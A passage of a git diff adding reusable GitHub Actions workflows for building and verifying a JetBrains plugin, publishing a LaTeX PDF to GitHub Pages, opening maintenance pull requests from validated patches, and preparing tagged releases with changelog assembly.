inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + - name: ๐Ÿš€ Publish GitHub release + uses: $/publish-github-release + env: + GH_TOKEN: ${{ github.token }} + with: + tag: ${{ inputs.tag }} + commit: ${{ github.sha }} + title: ${{ inputs.title-prefix }}${{ inputs.tag }} + notes-file: ${{ runner.temp }}/release-notes.md + assets-directory: ${{ inputs.assets-directory }} diff --git a/.github/workflows/jetbrains-plugin-check.yaml b/.github/workflows/jetbrains-plugin-check.yaml new file mode 100644 index 0000000..f5bfb23 --- /dev/null +++ b/.github/workflows/jetbrains-plugin-check.yaml @@ -0,0 +1,199 @@ +name: ๐Ÿงฉ JetBrains plugin check +on: + workflow_call: + inputs: + plugin-version: + description: Version written to gradle.properties before the build, such as a release tag; empty keeps the committed pluginVersion + required: false + type: string + default: "" + verify-matrix: + description: JSON array of objects with label, ide, and version keys; each entry runs verifyPlugin against that IDE + required: false + type: string + default: '[{"label":"PY","ide":"PY","version":""}]' + ui-test-timeout: + description: Seconds to wait for the test IDE to answer on port 8082 before the UI tests start + required: false + type: number + default: 300 + outputs: + archive-sha256: + description: SHA256 of the unsigned plugin ZIP, checked again by the signing job + value: ${{ jobs.build.outputs.archive-sha256 }} + archive-name: + description: File name of the unsigned plugin ZIP + value: ${{ jobs.build.outputs.archive-name }} + artifact-id: + description: ID of the unsigned-plugin artifact, downloaded by the signing job + value: ${{ jobs.build.outputs.artifact-id }} +permissions: {} +jobs: + build: + name: ๐Ÿ—๏ธ Build unsigned plugin + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + archive-sha256: ${{ steps.archive.outputs.sha256 }} + archive-name: ${{ steps.archive.outputs.name }} + artifact-id: ${{ steps.upload.outputs.artifact-id }} + steps: + - name: ๐Ÿงฝ Free disk space + uses: jlumbroso/free-disk-space@ceedf095f4ec1a097402bc6bd80831f2e1a6fde6 # v2.0.0 + with: + tool-cache: false + large-packages: false + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿงฐ Set up mise (JDKs) + uses: jdx/mise-action@6be3c7ed4c21d4f76b208d351d95aac273ebb76d # v5.2.4 + with: + cache: false + # The build feeds the signed release, so Gradle's cache stays off to keep a cached artifact out of it. + - name: โ˜• Set up Gradle + uses: gradle/actions/setup-gradle@3f5f9adaf7d9fecd50b5935e54106014257a94e6 # v6.4.0 + with: + cache-disabled: true + - name: ๐Ÿท๏ธ Set plugin version + if: ${{ inputs.plugin-version != '' }} + env: + PLUGIN_VERSION: ${{ inputs.plugin-version }} + run: | + set -euo pipefail + sed -i "s/^pluginVersion=.*/pluginVersion=${PLUGIN_VERSION#v}/" gradle.properties + grep -Fxq "pluginVersion=${PLUGIN_VERSION#v}" gradle.properties + - name: ๐Ÿ—๏ธ Build plugin ZIP + run: ./gradlew --console=plain buildPlugin + - name: โš™๏ธ Record unsigned ZIP digest + id: archive + run: | + set -euo pipefail + version=$(sed -n 's/^pluginVersion=//p' gradle.properties) + shopt -s nullglob + archives=(build/distributions/*-"$version".zip) + if ((${#archives[@]} != 1)); then + echo "::error::expected one plugin ZIP for version $version, found ${#archives[@]}" >&2 + exit 1 + fi + read -r digest _ < <(sha256sum "${archives[0]}") + echo "name=${archives[0]##*/}" >>"$GITHUB_OUTPUT" + echo "sha256=$digest" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ“ค Upload unsigned plugin + id: upload + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: unsigned-plugin + path: build/distributions/${{ steps.archive.outputs.name }} + if-no-files-found: error + retention-days: 30 + verify: + name: ๐Ÿ” Verify (${{ matrix.label }}) + runs-on: ubuntu-26.04 + permissions: + contents: read + strategy: + fail-fast: false + matrix: + include: ${{ fromJSON(inputs.verify-matrix) }} + steps: + - name: ๐Ÿงฝ Free disk space + uses: jlumbroso/free-disk-space@ceedf095f4ec1a097402bc6bd80831f2e1a6fde6 # v2.0.0 + with: + tool-cache: false + large-packages: false + android: true + dotnet: true + haskell: true + docker-images: true + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿงฐ Set up mise (JDKs) + uses: jdx/mise-action@6be3c7ed4c21d4f76b208d351d95aac273ebb76d # v5.2.4 + - name: โ˜• Set up Gradle + uses: gradle/actions/setup-gradle@3f5f9adaf7d9fecd50b5935e54106014257a94e6 # v6.4.0 + - name: ๐Ÿ’พ Cache verifier IDEs + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/.pluginVerifier/ides + key: plugin-verifier-ides-${{ matrix.ide }}-${{ matrix.version }}-${{ hashFiles('gradle.properties') }} + - name: ๐Ÿ” Run verification + env: + IDE: ${{ matrix.ide }} + VERSION: ${{ matrix.version }} + run: | + set -euo pipefail + args=(verifyPlugin "-PverifyIde=$IDE") + if [[ -n "$VERSION" ]]; then args+=("-PverifyVersion=$VERSION"); fi + ./gradlew --console=plain "${args[@]}" + - name: ๐Ÿ“ค Upload results + if: ${{ always() }} + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: pluginVerifier-result-${{ matrix.label }} + path: ${{ github.workspace }}/build/reports/pluginVerifier + if-no-files-found: ignore + ui-test: + name: ๐Ÿงช UI tests + runs-on: ubuntu-26.04 + permissions: + contents: read + steps: + - name: ๐Ÿงฝ Free disk space + uses: jlumbroso/free-disk-space@ceedf095f4ec1a097402bc6bd80831f2e1a6fde6 # v2.0.0 + with: + tool-cache: false + large-packages: false + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿงฐ Set up mise (JDKs) + uses: jdx/mise-action@6be3c7ed4c21d4f76b208d351d95aac273ebb76d # v5.2.4 + - name: โ˜• Set up Gradle + uses: gradle/actions/setup-gradle@3f5f9adaf7d9fecd50b5935e54106014257a94e6 # v6.4.0 + - name: ๐Ÿ—๏ธ Build test IDE sandbox + run: ./gradlew --console=plain buildPlugin compileTestKotlin + - name: ๐Ÿงช Run UI tests + env: + UI_TEST_TIMEOUT: ${{ inputs.ui-test-timeout }} + run: | + set -euo pipefail + export DISPLAY=:99.0 + Xvfb :99 -screen 0 1920x1080x24 & + xvfb_pid=$! + ./gradlew --console=plain runIdeForUiTests & + ide_pid=$! + trap 'kill "$xvfb_pid" "$ide_pid" 2>/dev/null' EXIT + echo "Waiting up to $UI_TEST_TIMEOUT seconds for the IDE..." + if ! timeout "$UI_TEST_TIMEOUT" bash -c 'until curl -s http://127.0.0.1:8082 >/dev/null 2>&1; do sleep 2; done'; then + echo "::error::IDE did not answer on port 8082 within $UI_TEST_TIMEOUT seconds" >&2 + exit 1 + fi + echo "IDE is ready" + ./gradlew --console=plain uiTest + - name: ๐Ÿ“ค Upload UI test artifacts + if: ${{ failure() }} + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: ui-test-failure + path: | + build/reports/ + build/idea-sandbox/**/log/idea.log + if-no-files-found: ignore + retention-days: 14 + gate: + name: ๐Ÿšฆ Required checks pass + if: ${{ !cancelled() }} + needs: [build, verify, ui-test] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - name: ๐Ÿšฆ Require all needed jobs to pass + uses: $/required-checks + with: + needs: ${{ toJSON(needs) }} diff --git a/.github/workflows/latex-to-pages.yaml b/.github/workflows/latex-to-pages.yaml new file mode 100644 index 0000000..5c9a481 --- /dev/null +++ b/.github/workflows/latex-to-pages.yaml @@ -0,0 +1,124 @@ +name: ๐Ÿ“• Build LaTeX to Pages +on: + workflow_call: + inputs: + root-file: + description: Root TeX file that latexmk compiles; its PDF keeps the base name and is served at the Pages root + required: false + type: string + default: main.tex +permissions: {} +concurrency: + group: latex-pages-${{ github.repository }}-${{ github.ref }} + cancel-in-progress: ${{ github.ref != 'refs/heads/main' }} +jobs: + build: + name: ๐Ÿ“• Compile LaTeX document + runs-on: ubuntu-26.04 + timeout-minutes: 20 + permissions: + contents: read + outputs: + artifact-id: ${{ steps.upload.outputs.artifact-id }} + pdf-name: ${{ steps.pdf.outputs.name }} + pdf-sha256: ${{ steps.pdf.outputs.sha256 }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿ•ฐ๏ธ Pin the build clock to the commit + id: epoch + run: echo "epoch=$(git log -1 --format=%ct)" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ“• Compile LaTeX document + uses: xu-cheng/latex-action@6549dc21effb2730855a1281407ecfcececc6c1b # 4.1.0 + with: + root_file: ${{ inputs.root-file }} + # The action runs latexmk in a container that only forwards its own env, so step env: never reaches pdflatex. + pre_compile: export SOURCE_DATE_EPOCH=${{ steps.epoch.outputs.epoch }} FORCE_SOURCE_DATE=1 + - name: ๐Ÿ”Ž Record PDF name and digest + id: pdf + env: + ROOT_FILE: ${{ inputs.root-file }} + run: | + set -euo pipefail + pdf="${ROOT_FILE%.tex}.pdf" + test -f "$pdf" + read -r digest _ < <(sha256sum "$pdf") + printf 'path=%s\nname=%s\nsha256=%s\n' "$pdf" "${pdf##*/}" "$digest" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ“ค Upload PDF + id: upload + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: latex-pdf + path: ${{ steps.pdf.outputs.path }} + if-no-files-found: error + retention-days: 30 + deploy: + name: ๐Ÿš€ Deploy to GitHub Pages + needs: build + if: ${{ github.ref == 'refs/heads/main' }} + runs-on: ubuntu-26.04 + timeout-minutes: 30 + environment: + name: release + url: https://${{ github.repository_owner }}.github.io/${{ github.event.repository.name }}/${{ needs.build.outputs.pdf-name }} + permissions: + contents: write + pages: read + steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿ“ฉ Download PDF + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ needs.build.outputs.artifact-id }} + path: built + - name: ๐Ÿ” Check downloaded PDF digest + env: + PDF_NAME: ${{ needs.build.outputs.pdf-name }} + PDF_SHA256: ${{ needs.build.outputs.pdf-sha256 }} + run: | + set -euo pipefail + echo "$PDF_SHA256 built/$PDF_NAME" | sha256sum --check + - name: ๐Ÿš€ Deploy ๐Ÿš€ + uses: JamesIves/github-pages-deploy-action@fa24774553152dd7873cd16ebd8d959b010c5445 # v4.9.0 + with: + folder: built + single-commit: true + - name: ๐Ÿ” Verify published PDF + env: + GH_TOKEN: ${{ github.token }} + URL: https://${{ github.repository_owner }}.github.io/${{ github.event.repository.name }}/${{ needs.build.outputs.pdf-name }} + PDF_SHA256: ${{ needs.build.outputs.pdf-sha256 }} + run: | + set -euo pipefail + head=$(gh api "repos/$GITHUB_REPOSITORY/branches/gh-pages" --jq .commit.sha) + for i in $(seq 1 80); do + sleep 15 + build=$(gh api "repos/$GITHUB_REPOSITORY/pages/builds/latest" --jq '"\(.commit) \(.status)"') || build=unknown + if [[ "$build" != "$head built" ]]; then + echo "Pages build is '$build', waiting for '$head built'" + continue + fi + got=$(curl -fsSL --retry 3 "$URL?run=$GITHUB_RUN_ID-$i" | sha256sum | cut -d' ' -f1) || continue + if [[ "$got" == "$PDF_SHA256" ]]; then + echo "Pages serves the freshly built PDF, SHA256 $got" + exit 0 + fi + echo "Pages serves SHA256 $got, expected $PDF_SHA256" + done + echo "::error::$URL did not serve the freshly built PDF within 20 minutes; is GitHub Pages enabled for gh-pages?" >&2 + exit 1 diff --git a/.github/workflows/open-maintenance-pr.yaml b/.github/workflows/open-maintenance-pr.yaml new file mode 100644 index 0000000..9098afa --- /dev/null +++ b/.github/workflows/open-maintenance-pr.yaml @@ -0,0 +1,259 @@ +name: ๐Ÿ”€ Open maintenance PR +on: + workflow_call: + inputs: + artifact-id: + description: ID of the maintenance-patch artifact the caller uploaded in the same run + type: string + required: true + allowed-paths: + description: Newline-separated shell glob patterns for the paths the patch may change + type: string + required: true + branch: + description: Branch that holds the maintenance commit; a later run replaces it + type: string + required: true + base: + description: Branch the pull request targets + type: string + default: main + title: + description: Pull request title, also the commit subject + type: string + required: true + body: + description: Pull request body + type: string + default: "" + labels: + description: Newline-separated labels to add to the pull request + type: string + default: "" + secrets: + RELEASE_APP_PRIVATE_KEY: + description: Repo-only release App key + required: true +permissions: {} +concurrency: + group: open-maintenance-pr-${{ inputs.branch }} + cancel-in-progress: false +jobs: + validate: + name: ๐Ÿ” Validate maintenance patch + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + patch-sha256: ${{ steps.digest.outputs.sha256 }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.sha }} + persist-credentials: false + - name: ๐Ÿ“ฉ Download maintenance patch + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ inputs.artifact-id }} + path: ${{ runner.temp }}/maintenance-patch + - name: โš™๏ธ Apply maintenance patch to a scratch index + env: + PATCH: ${{ runner.temp }}/maintenance-patch/maintenance.patch + run: | + set -euo pipefail + export GIT_INDEX_FILE="$RUNNER_TEMP/maintenance.index" + git read-tree HEAD + git apply --cached --verbose "$PATCH" + - name: ๐Ÿ” Check patch paths and modes + env: + ALLOWED_PATHS: ${{ inputs.allowed-paths }} + GIT_INDEX_FILE: ${{ runner.temp }}/maintenance.index + run: | + set -euo pipefail + patterns=() + while IFS= read -r pattern; do + if [[ -n "$pattern" ]]; then + patterns+=("$pattern") + fi + done <<<"$ALLOWED_PATHS" + if ((${#patterns[@]} == 0)); then + echo "::error::allowed-paths lists no pattern" >&2 + exit 1 + fi + git diff --cached --raw --no-renames -z >"$RUNNER_TEMP/maintenance-raw" + count=0 + while IFS= read -r -d '' metadata && IFS= read -r -d '' path; do + read -ra fields <<<"$metadata" + old_mode=${fields[0]#:} + new_mode=${fields[1]} + case "${fields[4]}" in + A) + expected_old=000000 + expected_new=100644 + ;; + M) + expected_old=100644 + expected_new=100644 + ;; + D) + expected_old=100644 + expected_new=000000 + ;; + *) + echo "::error::unexpected maintenance path status ${fields[4]} for $path" >&2 + exit 1 + ;; + esac + matched=false + for pattern in "${patterns[@]}"; do + # shellcheck disable=SC2053 # The patterns are globs, matched on purpose. + if [[ "$path" == $pattern ]]; then + matched=true + break + fi + done + if [[ "$matched" != true ]]; then + echo "::error::unexpected maintenance path: $path" >&2 + exit 1 + fi + if [[ "$old_mode" != "$expected_old" || "$new_mode" != "$expected_new" ]]; then + echo "::error::unexpected maintenance file mode for $path: $old_mode to $new_mode" >&2 + exit 1 + fi + count=$((count + 1)) + done <"$RUNNER_TEMP/maintenance-raw" + if ((count == 0)); then + echo "::error::maintenance patch changes no paths" >&2 + exit 1 + fi + echo "Maintenance patch paths: $count allowed, each a regular non-executable file or a deletion" + - id: digest + name: โš™๏ธ Record the validated patch digest + env: + PATCH: ${{ runner.temp }}/maintenance-patch/maintenance.patch + run: echo "sha256=$(sha256sum "$PATCH" | cut -d ' ' -f 1)" >>"$GITHUB_OUTPUT" + open: + name: ๐Ÿ”€ Open maintenance pull request + needs: validate + if: needs.validate.result == 'success' + runs-on: ubuntu-26.04 + environment: release-auth + permissions: + contents: read + outputs: + number: ${{ steps.pull-request.outputs.number }} + steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.sha }} + fetch-depth: 0 + persist-credentials: false + - name: ๐Ÿ“ฉ Download maintenance patch + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ inputs.artifact-id }} + path: ${{ runner.temp }}/maintenance-patch + - name: ๐Ÿ” Verify the validated patch digest + env: + EXPECTED_SHA256: ${{ needs.validate.outputs.patch-sha256 }} + PATCH: ${{ runner.temp }}/maintenance-patch/maintenance.patch + run: printf '%s %s\n' "$EXPECTED_SHA256" "$PATCH" | sha256sum --check --status + - name: ๐Ÿ”’ Apply maintenance patch + env: + PATCH: ${{ runner.temp }}/maintenance-patch/maintenance.patch + run: git apply --index --verbose "$PATCH" + - name: ๐Ÿท๏ธ Commit maintenance change + env: + TITLE: ${{ inputs.title }} + run: | + set -euo pipefail + git config user.name 'github-actions[bot]' + git config user.email '41898282+github-actions[bot]@users.noreply.github.com' + git commit -m "$TITLE" + - name: โš™๏ธ Select the current repository + id: repository + env: + REPOSITORY: ${{ github.repository }} + run: echo "name=${REPOSITORY#*/}" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ”‘ Create release App token + id: token + uses: actions/create-github-app-token@64ab729a6294000f5aa4a4bc0b73d1f32bc45510 # v3.3.0 + with: + client-id: ${{ vars.RELEASE_APP_CLIENT_ID }} + private-key: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} + owner: ${{ github.repository_owner }} + repositories: ${{ steps.repository.outputs.name }} + permission-contents: write + permission-pull-requests: write + - name: โฌ†๏ธ Push maintenance branch + env: + GH_TOKEN: ${{ steps.token.outputs.token }} + BRANCH: ${{ inputs.branch }} + run: | + set -euo pipefail + gh auth setup-git --hostname github.com --force + echo "Pushing $BRANCH, replacing any earlier maintenance commit (force with lease)" + git push --force-with-lease origin "HEAD:refs/heads/$BRANCH" + - name: ๐Ÿ“ Write maintenance pull request body + env: + BODY: ${{ inputs.body }} + run: printf '%s\n' "$BODY" >"$RUNNER_TEMP/pull-request.md" + - name: ๐Ÿ”€ Write maintenance pull request + id: pull-request + env: + GH_TOKEN: ${{ steps.token.outputs.token }} + BASE: ${{ inputs.base }} + BRANCH: ${{ inputs.branch }} + LABEL_LINES: ${{ inputs.labels }} + TITLE: ${{ inputs.title }} + run: | + set -euo pipefail + owner=${GITHUB_REPOSITORY%%/*} + number=$( + gh api -X GET "repos/$GITHUB_REPOSITORY/pulls" -f state=open \ + -f head="$owner:$BRANCH" -f base="$BASE" | + jq -r --arg repository "$GITHUB_REPOSITORY" --arg branch "$BRANCH" --arg base "$BASE" ' + [.[] | select(.head.repo.full_name == $repository and .head.ref == $branch and .base.ref == $base)] | + if length == 0 then "" + elif length == 1 then .[0].number + else error("multiple maintenance pull requests") end + ' + ) + labels=() + while IFS= read -r label; do + if [[ -n "$label" ]]; then + labels+=("$label") + fi + done <<<"$LABEL_LINES" + label_args=() + for label in "${labels[@]}"; do + label_args+=(--label "$label") + done + if [[ -n "$number" ]]; then + echo "Maintenance pull request: #$number is open, updating it" + edit_args=(--title "$TITLE" --body-file "$RUNNER_TEMP/pull-request.md") + for label in "${labels[@]}"; do + edit_args+=(--add-label "$label") + done + gh pr edit "$number" "${edit_args[@]}" + else + echo "Maintenance pull request: none open, opening one from $BRANCH to $BASE" + url=$( + gh pr create --base "$BASE" --head "$BRANCH" --title "$TITLE" \ + --body-file "$RUNNER_TEMP/pull-request.md" "${label_args[@]}" + ) + number=${url##*/} + fi + echo "number=$number" >>"$GITHUB_OUTPUT" diff --git a/.github/workflows/prepare-release-creator.yaml b/.github/workflows/prepare-release-creator.yaml new file mode 100644 index 0000000..93ca36a --- /dev/null +++ b/.github/workflows/prepare-release-creator.yaml @@ -0,0 +1,295 @@ +name: Prepare release-creator release +on: + workflow_call: + inputs: + bump: + description: Version selection mode passed to release-creator tags + type: string + default: auto + package: + description: Package whose tags and fragments the release scopes to, empty for a single-package repository + type: string + default: "" + tag-format: + description: Tag template, one of {version}, v{version}, {package}/{version}, or {package}/v{version} + type: string + default: "{version}" + changelog: + description: Tracked Markdown changelog that assemble-command writes and contributors edits + type: string + default: CHANGELOG.md + assemble-command: + description: Shell command that writes the changelog section from the pending fragments, run with PACKAGE, VERSION, and TAG set + required: true + type: string + release-paths: + description: Newline-separated glob patterns for the only paths the release patch may change, {package} expands to package + required: true + type: string + cargo-set-version: + description: Run cargo set-version with the release version before the changelog is assembled + type: boolean + default: false + cargo-set-version-args: + description: Arguments before the version for cargo set-version, such as -p {package}; {package} expands to package + type: string + default: "" + annotated: + description: Create an annotated tag + type: boolean + default: false + release-auth-deployment: + description: Create a GitHub Deployment for the App-key job + type: boolean + default: true + exclude-newer: + description: Upload cutoff for the tools the shared Actions install from PyPI + type: string + default: 7 days + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + type: string + default: "" + secrets: + RELEASE_APP_PRIVATE_KEY: + description: Key held by the caller's release-auth environment + required: true +permissions: {} +concurrency: + group: prepare-release-${{ github.repository }} + cancel-in-progress: false +jobs: + assemble: + name: ๐Ÿท๏ธ Assemble release + runs-on: ubuntu-26.04 + permissions: + contents: read + pull-requests: read + outputs: + version: ${{ steps.version.outputs.version }} + number: ${{ steps.version.outputs.number }} + artifact-id: ${{ steps.patch.outputs.artifact-id }} + release-paths: ${{ steps.version.outputs.release-paths }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + persist-credentials: false + ref: ${{ github.sha }} + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - name: ๐Ÿ“ฆ Install locked release tools + uses: $/install-locked-tools + with: + groups: release-prepare + venv: ${{ runner.temp }}/release-tools + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + - name: ๐Ÿฆ€ Install Rust toolchain + if: ${{ inputs.cargo-set-version }} + uses: actions-rust-lang/setup-rust-toolchain@ecabd13d1c56bd1345c230e542e9144811ad706f # v2.0.0 + with: + cache: false + - name: ๐Ÿฆ€ Install cargo-edit + if: ${{ inputs.cargo-set-version }} + uses: baptiste0928/cargo-install@8195d4f734a149db85385bb4102b42efcd373759 # v3.5.0 + with: + crate: cargo-edit + version: 0.13.13 + - name: ๐Ÿงน Install prek hooks + id: hooks + uses: $/cooled-prek + with: + args: install-hooks + background: true + - name: ๐Ÿท๏ธ Select release version + id: version + env: + BUMP: ${{ inputs.bump }} + PACKAGE: ${{ inputs.package }} + TAG_FORMAT: ${{ inputs.tag-format }} + CHANGELOG: ${{ inputs.changelog }} + RELEASE_PATHS: ${{ inputs.release-paths }} + run: | + set -euo pipefail + case "$TAG_FORMAT" in + '{version}' | 'v{version}') + if [[ -n "$PACKAGE" ]]; then + echo "::error::tag-format $TAG_FORMAT names no package, but package is $PACKAGE" >&2 + exit 1 + fi + fragments=changelog.d + ;; + '{package}/{version}' | '{package}/v{version}') + if [[ -z "$PACKAGE" ]]; then + echo "::error::tag-format $TAG_FORMAT needs a package input" >&2 + exit 1 + fi + fragments="changelog.d/$PACKAGE" + ;; + *) + echo "::error::unsupported tag-format: $TAG_FORMAT" >&2 + exit 1 + ;; + esac + args=(--next "$BUMP" --directory "$fragments") + if [[ -n "$PACKAGE" ]]; then + args+=(--package "$PACKAGE") + fi + # release-creator prints its progress on stderr, so stdout holds the tag alone. + selected=$(git tag --list | release-creator tags "${args[@]}" 2>/dev/null) + number=${selected##*/} + number=${number#v} + tag=${TAG_FORMAT//'{package}'/$PACKAGE} + tag=${tag//'{version}'/$number} + echo "Release $tag (version $number, bump $BUMP from the fragments in $fragments)" + { + printf 'number=%s\n' "$number" + printf 'version=%s\n' "$tag" + echo 'release-paths<>"$GITHUB_OUTPUT" + - name: ๐Ÿ“ Link fragments and authors + env: + PACKAGE: ${{ inputs.package }} + REPOSITORY: ${{ github.repository }} + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + fragments=changelog.d + if [[ -n "$PACKAGE" ]]; then + fragments="changelog.d/$PACKAGE" + fi + release-creator fragments --directory "$fragments" --repository "$REPOSITORY" + - name: โš™๏ธ Bump Cargo version + if: ${{ inputs.cargo-set-version }} + env: + CARGO_SET_VERSION: ${{ inputs.cargo-set-version-args }} + NUMBER: ${{ steps.version.outputs.number }} + PACKAGE: ${{ inputs.package }} + run: | + set -euo pipefail + read -ra cargo_arguments <<<"${CARGO_SET_VERSION//'{package}'/$PACKAGE}" + cargo set-version "${cargo_arguments[@]}" "$NUMBER" + - name: ๐Ÿ“ Assemble changelog + env: + PACKAGE: ${{ inputs.package }} + VERSION: ${{ steps.version.outputs.number }} + TAG: ${{ steps.version.outputs.version }} + ASSEMBLE_COMMAND: ${{ inputs.assemble-command }} + run: bash -c "$ASSEMBLE_COMMAND" + - name: ๐Ÿ“ Add new contributors to the changelog + env: + CHANGELOG: ${{ inputs.changelog }} + NUMBER: ${{ steps.version.outputs.number }} + PACKAGE: ${{ inputs.package }} + REPOSITORY: ${{ github.repository }} + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + args=(--changelog "$CHANGELOG" --version "$NUMBER" --repository "$REPOSITORY") + if [[ -n "$PACKAGE" ]]; then + args+=(--package "$PACKAGE") + fi + release-creator contributors "${args[@]}" + - name: โณ Wait for prek hooks + wait: hooks + - name: ๐Ÿงน Format changelog + id: format + continue-on-error: true + uses: $/cooled-prek + with: + args: run mdformat --files ${{ inputs.changelog }} + - name: ๐Ÿงน Confirm changelog format + if: ${{ steps.format.outcome == 'failure' }} + uses: $/cooled-prek + with: + args: run mdformat --files ${{ inputs.changelog }} + - name: ๐Ÿ“ Track a new changelog + env: + CHANGELOG: ${{ inputs.changelog }} + run: | + set -euo pipefail + if git ls-files --error-unmatch -- "$CHANGELOG" >/dev/null 2>&1; then + echo "$CHANGELOG is already tracked" + else + git add -N -- "$CHANGELOG" + fi + - name: ๐Ÿ“ Write release patch + run: | + set -euo pipefail + git diff HEAD --binary >"$RUNNER_TEMP/release.patch" + git diff HEAD --stat + - name: ๐Ÿ“ค Upload release patch + id: patch + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: release-patch + path: ${{ runner.temp }}/release.patch + if-no-files-found: error + push: + name: โฌ†๏ธ Push release commit and tag + needs: assemble + runs-on: ubuntu-26.04 + environment: + name: release-auth + deployment: ${{ inputs.release-auth-deployment }} + permissions: + contents: read + steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac + - name: ๐Ÿ“ฉ Download release patch + id: patch + background: true + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ needs.assemble.outputs.artifact-id }} + path: ${{ runner.temp }}/release-patch + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 1 + persist-credentials: false + - name: โณ Wait for release patch + wait: patch + - name: โš™๏ธ Apply release patch + uses: $/validate-release-patch + with: + allowed-paths: ${{ needs.assemble.outputs.release-paths }} + - id: repository + name: โš™๏ธ Select the current repository + env: + REPOSITORY: ${{ github.repository }} + run: echo "name=${REPOSITORY#*/}" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ”‘ Create release App token + id: token + uses: actions/create-github-app-token@64ab729a6294000f5aa4a4bc0b73d1f32bc45510 # v3.3.0 + with: + client-id: ${{ vars.RELEASE_APP_CLIENT_ID }} + private-key: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} + owner: ${{ github.repository_owner }} + repositories: ${{ steps.repository.outputs.name }} + permission-contents: write + - name: ๐Ÿท๏ธ Commit and tag release + uses: $/commit-and-tag + with: + version: ${{ needs.assemble.outputs.version }} + token: ${{ steps.token.outputs.token }} + app-slug: ${{ steps.token.outputs.app-slug }} + message: release ${{ needs.assemble.outputs.version }} + annotated: ${{ inputs.annotated }} diff --git a/.github/workflows/prepare-towncrier-release.yaml b/.github/workflows/prepare-towncrier-release.yaml index f252241..6404c05 100644 --- a/.github/workflows/prepare-towncrier-release.yaml +++ b/.github/workflows/prepare-towncrier-release.yaml @@ -106,6 +106,16 @@ jobs: permissions: contents: read steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac - name: ๐Ÿ“ฅ Check out repository uses: 